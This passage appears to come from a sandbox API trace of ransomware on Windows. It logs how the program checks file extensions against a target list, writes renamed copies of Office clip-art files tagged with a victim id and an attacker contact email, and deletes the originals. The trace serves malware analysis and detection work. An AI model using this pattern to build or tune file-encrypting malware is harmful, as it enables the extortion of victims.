lstrlenW (lpString=".1cd") returned 4 [0197.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0197.869] lstrlenW (lpString=".jpg") returned 4 [0197.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.580] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.580] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0198.583] GetLastError () returned 0x0 [0198.583] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x6f9c, lpOverlapped=0x0) returned 1 [0198.589] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x6fa0, lpOverlapped=0x0) returned 1 [0198.591] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0198.591] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0198.591] SetEndOfFile (hFile=0x48c) returned 1 [0198.591] CloseHandle (hObject=0x48c) returned 1 [0198.591] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.591] SetEndOfFile (hFile=0x518) returned 1 [0198.594] CloseHandle (hObject=0x518) returned 1 [0198.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf")) returned 1 [0198.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0198.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0198.596] lstrlenW (lpString=".doc") returned 4 [0198.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.596] lstrlenW (lpString=".docx") returned 5 [0198.596] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.596] lstrlenW (lpString=".pdf") returned 4 [0198.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.597] lstrlenW (lpString=".xls") returned 4 [0198.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.597] lstrlenW (lpString=".xlsx") returned 5 [0198.597] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.597] lstrlenW (lpString=".ppt") returned 4 [0198.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0198.597] lstrlenW (lpString=".zip") returned 4 [0198.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.597] lstrlenW (lpString=".rar") returned 4 [0198.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.597] lstrlenW (lpString=".bz2") returned 4 [0198.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.597] lstrlenW (lpString=".7z") returned 3 [0198.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0198.597] lstrlenW (lpString=".dbf") returned 4 [0198.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0198.597] lstrlenW (lpString=".1cd") returned 4 [0198.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0198.597] lstrlenW (lpString=".jpg") returned 4 [0198.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.599] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.599] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0198.601] GetLastError () returned 0x0 [0198.601] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x7c4e, lpOverlapped=0x0) returned 1 [0198.603] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x7c50, lpOverlapped=0x0) returned 1 [0198.604] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0198.604] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0198.604] SetEndOfFile (hFile=0x48c) returned 1 [0198.605] CloseHandle (hObject=0x48c) returned 1 [0198.605] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.605] SetEndOfFile (hFile=0x518) returned 1 [0198.608] CloseHandle (hObject=0x518) returned 1 [0198.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf")) returned 1 [0198.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0198.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0198.609] lstrlenW (lpString=".doc") returned 4 [0198.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.609] lstrlenW (lpString=".docx") returned 5 [0198.610] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.610] lstrlenW (lpString=".pdf") returned 4 [0198.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.610] lstrlenW (lpString=".xls") returned 4 [0198.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.610] lstrlenW (lpString=".xlsx") returned 5 [0198.610] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.610] lstrlenW (lpString=".ppt") returned 4 [0198.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0198.610] lstrlenW (lpString=".zip") returned 4 [0198.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.610] lstrlenW (lpString=".rar") returned 4 [0198.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.610] lstrlenW (lpString=".bz2") returned 4 [0198.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.610] lstrlenW (lpString=".7z") returned 3 [0198.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0198.610] lstrlenW (lpString=".dbf") returned 4 [0198.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0198.610] lstrlenW (lpString=".1cd") returned 4 [0198.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0198.610] lstrlenW (lpString=".jpg") returned 4 [0198.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.612] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.612] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0198.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0198.613] GetLastError () returned 0x0 [0198.613] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xc37e, lpOverlapped=0x0) returned 1 [0198.912] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xc380, lpOverlapped=0x0) returned 1 [0198.915] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0198.915] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0198.915] SetEndOfFile (hFile=0x48c) returned 1 [0199.104] CloseHandle (hObject=0x48c) returned 1 [0199.104] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.104] SetEndOfFile (hFile=0x518) returned 1 [0199.108] CloseHandle (hObject=0x518) returned 1 [0199.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf")) returned 1 [0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0199.110] lstrlenW (lpString=".doc") returned 4 [0199.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.110] lstrlenW (lpString=".docx") returned 5 [0199.110] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.110] lstrlenW (lpString=".pdf") returned 4 [0199.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.110] lstrlenW (lpString=".xls") returned 4 [0199.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.111] lstrlenW (lpString=".xlsx") returned 5 [0199.111] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.111] lstrlenW (lpString=".ppt") returned 4 [0199.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0199.111] lstrlenW (lpString=".zip") returned 4 [0199.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.111] lstrlenW (lpString=".rar") returned 4 [0199.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.111] lstrlenW (lpString=".bz2") returned 4 [0199.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.111] lstrlenW (lpString=".7z") returned 3 [0199.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0199.111] lstrlenW (lpString=".dbf") returned 4 [0199.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0199.111] lstrlenW (lpString=".1cd") returned 4 [0199.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0199.111] lstrlenW (lpString=".jpg") returned 4 [0199.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.112] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.112] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0199.114] GetLastError () returned 0x0 [0199.114] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2a18, lpOverlapped=0x0) returned 1 [0199.116] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2a20, lpOverlapped=0x0) returned 1 [0199.119] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0199.120] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0199.120] SetEndOfFile (hFile=0x48c) returned 1 [0199.120] CloseHandle (hObject=0x48c) returned 1 [0199.120] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.120] SetEndOfFile (hFile=0x518) returned 1 [0199.124] CloseHandle (hObject=0x518) returned 1 [0199.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf")) returned 1 [0199.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0199.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0199.126] lstrlenW (lpString=".doc") returned 4 [0199.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.126] lstrlenW (lpString=".docx") returned 5 [0199.126] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.126] lstrlenW (lpString=".pdf") returned 4 [0199.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.126] lstrlenW (lpString=".xls") returned 4 [0199.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.126] lstrlenW (lpString=".xlsx") returned 5 [0199.126] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.126] lstrlenW (lpString=".ppt") returned 4 [0199.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0199.126] lstrlenW (lpString=".zip") returned 4 [0199.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.126] lstrlenW (lpString=".rar") returned 4 [0199.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.126] lstrlenW (lpString=".bz2") returned 4 [0199.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.126] lstrlenW (lpString=".7z") returned 3 [0199.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0199.126] lstrlenW (lpString=".dbf") returned 4 [0199.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0199.127] lstrlenW (lpString=".1cd") returned 4 [0199.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0199.127] lstrlenW (lpString=".jpg") returned 4 [0199.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.128] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.128] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0199.130] GetLastError () returned 0x0 [0199.130] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1484, lpOverlapped=0x0) returned 1 [0199.131] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1490, lpOverlapped=0x0) returned 1 [0199.132] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0199.132] WriteFile (in: hFile=0x48c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0199.133] SetEndOfFile (hFile=0x48c) returned 1 [0199.133] CloseHandle (hObject=0x48c) returned 1 [0199.133] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.133] SetEndOfFile (hFile=0x518) returned 1 [0199.136] CloseHandle (hObject=0x518) returned 1 [0199.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf")) returned 1 [0199.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0199.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0199.138] lstrlenW (lpString=".doc") returned 4 [0199.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.138] lstrlenW (lpString=".docx") returned 5 [0199.138] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.138] lstrlenW (lpString=".pdf") returned 4 [0199.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.138] lstrlenW (lpString=".xls") returned 4 [0199.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.138] lstrlenW (lpString=".xlsx") returned 5 [0199.138] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.138] lstrlenW (lpString=".ppt") returned 4 [0199.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0199.139] lstrlenW (lpString=".zip") returned 4 [0199.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.139] lstrlenW (lpString=".rar") returned 4 [0199.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.139] lstrlenW (lpString=".bz2") returned 4 [0199.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.139] lstrlenW (lpString=".7z") returned 3 [0199.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0199.139] lstrlenW (lpString=".dbf") returned 4 [0199.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0199.139] lstrlenW (lpString=".1cd") returned 4 [0199.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0199.139] lstrlenW (lpString=".jpg") returned 4 [0199.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.607] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.607] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0199.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0199.951] GetLastError () returned 0x0 [0199.951] ReadFile (in: hFile=0x458, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x27b4, lpOverlapped=0x0) returned 1 [0199.954] WriteFile (in: hFile=0x374, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x27c0, lpOverlapped=0x0) returned 1 [0199.955] ReadFile (in: hFile=0x458, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0199.956] WriteFile (in: hFile=0x374, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0199.956] SetEndOfFile (hFile=0x374) returned 1 [0199.956] CloseHandle (hObject=0x374) returned 1 [0199.956] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: 